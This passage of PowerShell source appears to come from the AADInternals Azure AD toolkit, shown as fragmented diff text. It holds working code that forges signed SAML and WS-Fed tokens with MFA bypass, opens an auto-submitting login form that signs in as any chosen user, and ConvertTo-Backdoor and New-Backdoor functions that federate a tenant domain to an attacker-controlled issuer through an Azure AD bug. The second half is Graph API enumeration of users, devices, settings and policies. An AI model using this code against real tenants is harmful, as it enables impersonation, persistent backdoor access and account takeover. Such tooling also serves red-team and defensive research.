<wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$($NotAfter.toString("o"))</wsu:Expires>
|
||||
</t:Lifetime>
|
||||
<wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
|
||||
<wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing">
|
||||
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
|
||||
</wsa:EndpointReference>
|
||||
</wsp:AppliesTo>
|
||||
<t:RequestedSecurityToken>
|
||||
$SAMLToken
|
||||
</t:RequestedSecurityToken>
|
||||
<t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType>
|
||||
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType>
|
||||
<t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType>
|
||||
</t:RequestSecurityTokenResponse>
|
||||
"@
|
||||
|
||||
return $response
|
||||
}
|
||||
}
|
||||
|
||||
# Create SAML-P response
|
||||
function New-SAMLPResponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SAML2Token,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotBefore,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotAfter,
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$InResponseTo
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the dates
|
||||
if([String]::IsNullOrEmpty($NotBefore))
|
||||
{
|
||||
$NotBefore = Get-Date
|
||||
}
|
||||
if([String]::IsNullOrEmpty($NotAfter))
|
||||
{
|
||||
$NotAfter = $NotBefore.AddHours(1)
|
||||
}
|
||||
|
||||
# Create the Request Security Token Response
|
||||
$response=@"
|
||||
<samlp:Response ID="_$((New-Guid).ToString())" Version="2.0" IssueInstant="$($NotBefore.toString('s'))Z" Destination="https://login.microsoftonline.com/login.srf" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="$InResponseTo" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
|
||||
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">$Issuer</Issuer>
|
||||
<samlp:Status>
|
||||
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
|
||||
</samlp:Status>
|
||||
$SAML2Token
|
||||
</samlp:Response>
|
||||
|
||||
"@
|
||||
|
||||
return $response
|
||||
}
|
||||
}
|
||||
|
||||
# Opens a web browser and logins as the given user
|
||||
function Open-Office365Portal
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Opens a web browser and logins to Office 365 as the given user
|
||||
|
||||
.DESCRIPTION
|
||||
Creates an identity federation token and opens a login form in private or incognito window.
|
||||
|
||||
.Parameter UPN
|
||||
User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address.
|
||||
|
||||
.Parameter ImmutableID
|
||||
Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64.
|
||||
For non-synced users this must be set manually, can be any unique string within the tenant.
|
||||
User doesn't have to be federated user.
|
||||
|
||||
.Parameter Issuer
|
||||
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
|
||||
unique string within Azure AD. Must match federation information of validated domain in the tenant.
|
||||
|
||||
.Parameter ByPassMFA
|
||||
Whether to add an attribute to by-pass MFA. Default is $True.
|
||||
|
||||
.Parameter UseAnySTS
|
||||
Uses internal any.sts certificate
|
||||
|
||||
.Parameter Certificate
|
||||
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
|
||||
|
||||
.Parameter PfxFileName
|
||||
The full path to .pfx file from where to load the certificate
|
||||
|
||||
.Parameter PfxPassword
|
||||
The password of the .pfx file
|
||||
|
||||
.Parameter UseBuiltInCertificate
|
||||
Use the built-in any.sts certificate.
|
||||
|
||||
.Parameter Browser
|
||||
Which browser to be used. Can be "IE", "Chrome", or "Edge". Defaults to "Edge"
|
||||
|
||||
.Example
|
||||
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
|
||||
.Example
|
||||
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
|
||||
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
|
||||
|
||||
.Example
|
||||
PS C:\>$id=Get-AADIntImmutableID -ADUser (Get-ADUser firstname.lastname)
|
||||
PS C:\>Open-AADIntOffice365Portal -ImmutableId $id -Issuer "http://mysts.company.com/adfs/ls" -UseBuiltInCertificate
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UPN="joulupukki@korvatunturi.fi", # Not used in AAD identity federation, defaults to Santa Claus ;)
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ImmutableID,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Issuer,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$ByPassMFA=$true,
|
||||
[ValidateSet('WSFED','SAMLP')]
|
||||
$TokenType="WSFED",
|
||||
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotBefore,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$NotAfter,
|
||||
|
||||
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
|
||||
[switch]$UseBuiltInCertificate,
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
|
||||
[string]$PfxPassword,
|
||||
|
||||
[ValidateSet('IE','Edge','Chrome')]
|
||||
$Browser="Edge"
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the dates
|
||||
if([String]::IsNullOrEmpty($NotBefore))
|
||||
{
|
||||
$NotBefore = Get-Date
|
||||
}
|
||||
if([String]::IsNullOrEmpty($NotAfter))
|
||||
{
|
||||
$NotAfter = $NotBefore.AddHours(1)
|
||||
}
|
||||
|
||||
# Do we use built-in certificate (any.sts)
|
||||
if($UseBuiltInCertificate)
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
|
||||
}
|
||||
elseif($Certificate -eq $null) # Load the ceftificate
|
||||
{
|
||||
try
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
|
||||
}
|
||||
catch
|
||||
{
|
||||
$_
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
$form=""
|
||||
|
||||
if($TokenType -eq "WSFED")
|
||||
{
|
||||
# Create SAML token and WSFED response
|
||||
$token=New-SAMLToken -UPN $UPN -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate -NotBefore $NotBefore -NotAfter $NotAfter -ByPassMFA $ByPassMFA
|
||||
$wsfed=New-WSFedResponse -SAMLToken $token -NotBefore $NotBefore -NotAfter $NotAfter
|
||||
|
||||
# Create a login form
|
||||
$form=@"
|
||||
<html>
|
||||
<head><title>AADInternals Office 365 login form</title></head>
|
||||
<body onload="document.forms['login'].submit()">
|
||||
<form action="https://login.microsoftonline.com/login.srf" method="post" name="login">
|
||||
<input name="wa" type="hidden" value="wsignin1.0" />
|
||||
<input name="wctx" type="hidden" value="" />
|
||||
<input name="wresult" type="hidden" value="$([System.Net.WebUtility]::HtmlEncode($wsfed))">
|
||||
To login automatically, the javascript needs to be enabled.. So just click the button! <br>
|
||||
<button type="submit">Login to Office 365</button>
</form>
|
||||
</body>
|
||||
</html>
|
||||
"@
|
||||
}
|
||||
else
|
||||
{
|
||||
# Create SAML2 token and SAMLP response
|
||||
$token=New-SAML2Token -UPN $UPN -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate -NotBefore $NotBefore -NotAfter $NotAfter
|
||||
$samlp=New-SAMLPResponse -SAML2Token $token -NotBefore $NotBefore -NotAfter $NotAfter
|
||||
|
||||
# Create a login form
|
||||
$form=@"
|
||||
<html>
|
||||
<head><title>AADInternals Office 365 login form</title></head>
|
||||
<body onload="document.forms['login'].submit()">
|
||||
<form action="https://login.microsoftonline.com/login.srf" method="post">
|
||||
<input name="RelayState" value="" type="hidden"/>
|
||||
<input name="SAMLResponse" value="$([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($samlp)))" type="hidden"/>
|
||||
To login automatically, the javascript needs to be enabled.. So just click the button! <br>
|
||||
<button type="submit">Login to Office 365</button>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
"@
|
||||
}
|
||||
|
||||
|
||||
# Create a temporary file
|
||||
# TODO: remove the tmp file
|
||||
$tmp = New-TemporaryFile
|
||||
Rename-Item -Path $tmp.FullName -NewName ($tmp.Name+".html")
|
||||
$html = ($tmp.FullName+".html")
|
||||
|
||||
# Write the form to the file
|
||||
$form | Out-File $html
|
||||
|
||||
# Start the browser in private mode
|
||||
if($Browser -eq "IE")
|
||||
{
|
||||
Start-Process iexplore.exe -ArgumentList "-private $("file:///$html")"
|
||||
}
|
||||
elseif($Browser -eq "Chrome")
|
||||
{
|
||||
Start-Process chrome.exe -ArgumentList "-incognito $("file:///$html")"
|
||||
}
|
||||
else
|
||||
{
|
||||
Start-Process msedge.exe -ArgumentList "-inprivate $("file:///$html")"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Gets immutable id from AD user
|
||||
function Get-ImmutableID
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Immutable ID using user's AD object
|
||||
|
||||
.DESCRIPTION
|
||||
Gets Immutable ID using user's AD object
|
||||
|
||||
.Parameter ADUser
|
||||
Users AD object.
|
||||
|
||||
.Example
|
||||
PS C:\>$user=Get-ADUser "myuser"
|
||||
PS C:\>$immutableId=Get-AADIntImmutableID -ADUser $user
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
$ADUser
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
if($ADUser.GetType().ToString() -ne "Microsoft.ActiveDirectory.Management.ADUser")
|
||||
{
|
||||
Write-Error "ADUser is wrong type. Must be Microsoft.ActiveDirectory.Management.ADUser"
|
||||
return
|
||||
}
|
||||
|
||||
# Convert GUID to Base64
|
||||
$guid=$ADUser.ObjectGUID.ToString()
|
||||
$ImmutableId=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getBytes($guid))
|
||||
|
||||
return $ImmutableId
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a backdoor to Azure AD by using an existing domain
|
||||
function ConvertTo-Backdoor
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Converts a domain to a backdoor to Azure AD tenant.
|
||||
|
||||
.DESCRIPTION
|
||||
Opens a backdoor to Azure AD tenant by altering the given domains authentication settings.
|
||||
Allows logging in as any user of the tenant.
|
||||
|
||||
The certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value>
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token
|
||||
|
||||
.Parameter DomainName
|
||||
The domain to be used as a backdoor
|
||||
|
||||
.Parameter Create
|
||||
If set, tries to create the domain
|
||||
|
||||
.Example
|
||||
PS C:\>ConvertTo-AADIntBackdoor -DomainName company.myo365.site
|
||||
|
||||
IssuerUri Domain
|
||||
--------- ------
|
||||
http://any.sts/B231A11F company.myo365.site
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DomainName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[switch]$Create
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Unique ID
|
||||
$UniqueID = '{0:X}' -f (Get-Date).GetHashCode()
|
||||
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Set some variables
|
||||
$tenant_id = Get-TenantId -AccessToken $AccessToken
|
||||
|
||||
$LogOnOffUri ="https://any.sts/$UniqueID"
|
||||
$IssuerUri = "http://any.sts/$UniqueID"
|
||||
|
||||
$input = read-host "Are you sure to create backdoor with $DomainName`? Type YES to continue or CTRL+C to abort"
|
||||
switch ($input) `
|
||||
{
|
||||
"yes" {
|
||||
# Tries to create a new unverified domain
|
||||
if($Create)
|
||||
{
|
||||
New-Domain -AccessToken $AccessToken -Name $DomainName
|
||||
|
||||
# We need to wait a while for the domain to be created..
|
||||
$seconds = 15
|
||||
$done = (Get-Date).AddSeconds($seconds)
|
||||
while($done -gt (Get-Date)) {
|
||||
$secondsLeft = $done.Subtract((Get-Date)).TotalSeconds
|
||||
$percent = ($seconds - $secondsLeft) / $seconds * 100
|
||||
Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining $secondsLeft -PercentComplete $percent
|
||||
[System.Threading.Thread]::Sleep(500)
|
||||
}
|
||||
Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining 0 -Completed
|
||||
}
|
||||
Set-DomainAuthentication -Authentication Federated -AccessToken $AccessToken -DomainName $DomainName -LogOffUri $LogOnOffUri -PassiveLogOnUri $LogOnOffUri -IssuerUri $IssuerUri -SigningCertificate $any_sts -SupportsMfa $true
|
||||
|
||||
Return New-Object PSObject -Property @{"Domain"=$DomainName; "IssuerUri" = $IssuerUri}
|
||||
|
||||
}
|
||||
|
||||
default {
|
||||
write-host "Aborted" -ForegroundColor Red
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a backdoor to Azure AD
|
||||
# 03.02.2019
|
||||
function New-Backdoor
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a new backdoor to Azure AD tenant.
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a new backdoor to Azure tenant by creating a new domain and by altering its authentication settings.
|
||||
Allows logging in as any user of the tenant.
|
||||
|
||||
The certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value>
|
||||
|
||||
Utilises a bug in Azure AD, which allows converting unverified domains to federated.
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token
|
||||
|
||||
.Parameter DomainName
|
||||
The domain to be created to be used as a backdoor. If not given, uses default.onmicrosoft.com.
|
||||
|
||||
.Example
|
||||
PS C:\>New-AADIntBackdoor -DomainName backdoor.company.com
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DomainName="microsoft.com"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
ConvertTo-Backdoor -AccessToken $AccessToken -DomainName $DomainName -Create
|
||||
|
||||
}
|
||||
}
|
||||
+405
@@ -0,0 +1,405 @@
|
||||
# This script contains functions for Graph API at https://graph.windows.net
|
||||
# Office 365 / Azure AD v2, a.k.a. AzureAD module uses this API
|
||||
|
||||
function Get-AADUsers
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SearchString,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserPrincipalName
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
if(![string]::IsNullOrEmpty($SearchString))
|
||||
{
|
||||
$queryString="`$filter=(startswith(displayName,'$SearchString') or startswith(userPrincipalName,'$SearchString'))"
|
||||
}
|
||||
elseif(![string]::IsNullOrEmpty($UserPrincipalName))
|
||||
{
|
||||
$queryString="`$filter=userPrincipalName eq '$UserPrincipalName'"
|
||||
}
|
||||
|
||||
$results=Call-GraphAPI -AccessToken $AccessToken -Command users -QueryString $queryString
|
||||
|
||||
return $results
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the tenant details
|
||||
function Get-TenantDetails
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Extract tenant details using the given Access Token
|
||||
|
||||
.DESCRIPTION
|
||||
Extract tenant details using the given Access Token
|
||||
|
||||
.Parameter AccessToken
|
||||
The Access Token. If not given, tries to use cached Access Token.
|
||||
|
||||
.Example
|
||||
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntTenantDetails -AccessToken $token
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Call the API
|
||||
$response=Call-GraphAPI -AccessToken $AccessToken -Command tenantDetails
|
||||
|
||||
# Verbose
|
||||
Write-Verbose "TENANT INFORMATION: $($response.value | Out-String)"
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the tenant devices
|
||||
# Jun 24th 2020
|
||||
function Get-Devices
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Extracts tenant devices using the given Access Token
|
||||
|
||||
.DESCRIPTION
|
||||
Extracts tenant devices using the given Access Token
|
||||
|
||||
.Parameter AccessToken
|
||||
The Access Token. If not given, tries to use cached Access Token.
|
||||
|
||||
.Example
|
||||
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntDevices -AccessToken $token
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Call the API
|
||||
$response=Call-GraphAPI -AccessToken $AccessToken -Command devices -QueryString "`$expand=registeredOwner"
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets detailed information about the given user
|
||||
# Jun 24th 2020
|
||||
function Get-UserDetails
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Extracts detailed information of the given user
|
||||
|
||||
.DESCRIPTION
|
||||
Extracts detailed information of the given user
|
||||
|
||||
.Parameter AccessToken
|
||||
The Access Token. If not given, tries to use cached Access Token.
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
The user principal name of the user whose details is to be extracted
|
||||
|
||||
.Example
|
||||
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntUserDetails -AccessToken $token
|
||||
|
||||
odata.type : Microsoft.DirectoryServices.User
|
||||
objectType : User
|
||||
objectId : cd5676ad-ba80-4782-bdcb-ff5de37fc347
|
||||
deletionTimestamp :
|
||||
acceptedAs :
|
||||
acceptedOn :
|
||||
accountEnabled : True
|
||||
ageGroup :
|
||||
alternativeSecurityIds : {}
|
||||
signInNames : {user@company.com}
|
||||
signInNamesInfo : {}
|
||||
appMetadata :
|
||||
assignedLicenses : {@{disabledPlans=System.Object[]; skuId=c7df2760-2c81-4ef7-b578-5b5392b571df}, @{disabledPlans=System.Object[]; skuId=b05e124f-c7cc-45a0-a6aa-8cf78c946968}}
|
||||
assignedPlans : {@{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=MultiFactorService; servicePlanId=8a256a2b-b617-496d-b51b-e76466e88db0}, @{assignedTimestamp=2019-12-02T07
|
||||
:41:59Z; capabilityStatus=Enabled; service=exchange; servicePlanId=34c0d7a0-a70f-4668-9238-47f9fc208882}, @{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=P
|
||||
owerBI; servicePlanId=70d33638-9c74-4d01-bfd3-562de28bd4ba}, @{assignedTimestamp=2019-12-02T07:41:59Z; capabilityStatus=Enabled; service=WhiteboardServices; servicePlanId=4a51bca5-1ef
|
||||
f-43f5-878c-177680f191af}...}
|
||||
city :
|
||||
cloudAudioConferencingProviderInfo : <acpList>
|
||||
<acpInformation default="true">
|
||||
<tollNumber>18728886261</tollNumber>
|
||||
<participantPassCode>0</participantPassCode>
|
||||
<domain>resources.lync.com</domain>
|
||||
<name>Microsoft</name>
|
||||
<url>https://dialin.lync.com/c73270cd-afd0-4f70-8328-747f36508d85</url>
|
||||
</acpInformation>
|
||||
</acpList>
|
||||
cloudMSExchRecipientDisplayType : 1073741824
|
||||
cloudMSRtcIsSipEnabled : True
|
||||
cloudMSRtcOwnerUrn :
|
||||
...
|
||||
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserPrincipalName
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Url encode for external users, replace # with %23
|
||||
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
|
||||
|
||||
# Call the API
|
||||
$response=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName"
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets tenant's Azure AD settings
|
||||
# Jun 24th 2020
|
||||
function Get-Settings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Extracts Azure AD settings
|
||||
|
||||
.DESCRIPTION
|
||||
Extracts Azure AD settings
|
||||
|
||||
.Parameter AccessToken
|
||||
The Access Token. If not given, tries to use cached Access Token.
|
||||
|
||||
.Example
|
||||
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntSettings -AccessToken $token
|
||||
|
||||
id displayName templateId values
|
||||
-- ----------- ---------- ------
|
||||
8b16b029-bb31-48c8-b4df-5ee419596688 Password Rule Settings 5cf42378-d67d-4f36-ba46-e8b86229381d {@{name=BannedPasswordCheckOnPremisesMode; value=Audit}, @{name=EnableBannedPasswordCheckOnPremises; value=True}, @{name=En...
|
||||
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Call the API
|
||||
$response=Call-GraphAPI -AccessToken $AccessToken -Command "settings"
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets tenant's OAuth grants
|
||||
# Jun 24th 2020
|
||||
function Get-OAuthGrants
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Extracts Azure AD OAuth grants
|
||||
|
||||
.DESCRIPTION
|
||||
Extracts Azure AD OAuth grants
|
||||
|
||||
.Parameter AccessToken
|
||||
The Access Token. If not given, tries to use cached Access Token.
|
||||
|
||||
.Example
|
||||
PS C:\>$token=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntOAuthGrants -AccessToken $token
|
||||
|
||||
id displayName templateId values
|
||||
-- ----------- ---------- ------
|
||||
8b16b029-bb31-48c8-b4df-5ee419596688 Password Rule Settings 5cf42378-d67d-4f36-ba46-e8b86229381d {@{name=BannedPasswordCheckOnPremisesMode; value=Audit}, @{name=EnableBannedPasswordCheckOnPremises; value=True}, @{name=En...
|
||||
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Call the API
|
||||
$response=Call-GraphAPI -AccessToken $AccessToken -Command "oauth2PermissionGrants"
|
||||
|
||||
# Return
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets tenant's service principals
|
||||
# Jun 24th 2020
|
||||
function Get-ServicePrincipals
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Extracts Azure AD service principals
|
||||
|
||||
.DESCRIPTION
|
||||
Extracts Azure AD service principals. If client id(s) are provided, show detailed information.
|
||||
|
||||
.Parameter AccessToken
|
||||
The Access Token. If not given, tries to use cached Access Token.
|
||||
|
||||
.Parameter ClientIds
|
||||
List of client ids to get detailed information.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
|
||||
PS C:\>Get-AADIntServicePrincipals
|
||||
|
||||
AccountEnabled : true
|
||||
Addresses :
|
||||
AppPrincipalId : d32c68ad-72d2-4acb-a0c7-46bb2cf93873
|
||||
DisplayName : Microsoft Activity Feed Service
|
||||
ObjectId : 321e7bdd-d7b0-4a64-8eb3-38c259c1304a
|
||||
ServicePrincipalNames : ServicePrincipalNames
|
||||
TrustedForDelegation : false
|
||||
|
||||
AccountEnabled : true
|
||||
Addresses : Addresses
|
||||
AppPrincipalId : 0000000c-0000-0000-c000-000000000000
|
||||
DisplayName : Microsoft App Access Panel
|
||||
ObjectId : a9e03f2f-4471-41f2-96c5-589d5d7117bc
|
||||
ServicePrincipalNames : ServicePrincipalNames
|
||||
TrustedForDelegation : false
|
||||
|
||||
AccountEnabled : true
|
||||
Addresses :
|
||||
AppPrincipalId : dee7ba80-6a55-4f3b-a86c-746a9231ae49
|
||||
DisplayName : Microsoft AppPlat EMA
|
||||
ObjectId : ae0b81fc-c521-4bfd-9eaa-04c520b4b5fd
|
||||
ServicePrincipalNames : ServicePrincipalNames
|
||||
TrustedForDelegation : false
|
||||
|
||||
AccountEnabled : true
|
||||
Addresses : Addresses
|
||||
AppPrincipalId : 65d91a3d-ab74-42e6-8a2f-0add61688c74
|
||||
DisplayName : Microsoft Approval Management
|
||||
ObjectId : d8ec5b95-e5f6-416e-8e7c-c6c52ec5a11f
|
||||
ServicePrincipalNames : ServicePrincipalNames
|
||||
TrustedForDelegation : false
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String[]]$ClientIds
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# If client id(s) are provided, get only those (with extra information)
|
||||
if($ClientIds)
|
||||
{
|
||||
$body = @{
|
||||
"appIds" = $ClientIds
|
||||
}
|
||||
|
||||
# Call the API
|
||||
Call-GraphAPI -AccessToken $AccessToken -Command "getServicePrincipalsByAppIds" -Body ($body | ConvertTo-Json) -Method Post -QueryString "`$Select="
|
||||
}
|
||||
else
|
||||
{
|
||||
# Call the Provisioning API
|
||||
Get-ServicePrincipals2 -AccessToken $AccessToken
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets tenant's conditional access policies
|
||||
# Apr 8th 2021
|
||||
function Get-ConditionalAccessPolicies
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Shows conditional access policies.
|
||||
|
||||
.DESCRIPTION
|
||||
Shows conditional access policies.
|
||||
|
||||
.Parameter AccessToken
|
||||
The Access Token. If not given, tries to use cached Access Token.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
|
||||
PS C:\>Get-AADIntConditionalAccessPolicies
|
||||
|
||||
odata.type : Microsoft.DirectoryServices.Policy
|
||||
objectType : Policy
|
||||
objectId : e35e4cd3-53f8-4d65-80bb-e3279c2c1b71
|
||||
deletionTimestamp :
|
||||
displayName : On-Premise Authentication Flow Policy
|
||||
keyCredentials : {**}
|
||||
policyType : 8
|
||||
policyDetail : {**}
|
||||
policyIdentifier :
|
||||
tenantDefaultPolicy : 8
|
||||
|
||||
odata.type : Microsoft.DirectoryServices.Policy
|
||||
objectType : Policy
|
||||
objectId : 259b810f-fb50-4e57-925b-ec2292c17883
|
||||
deletionTimestamp :
|
||||
displayName : 2/5/2021 5:53:07 AM
|
||||
keyCredentials : {}
|
||||
policyType : 10
|
||||
policyDetail : {{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"I
|
||||
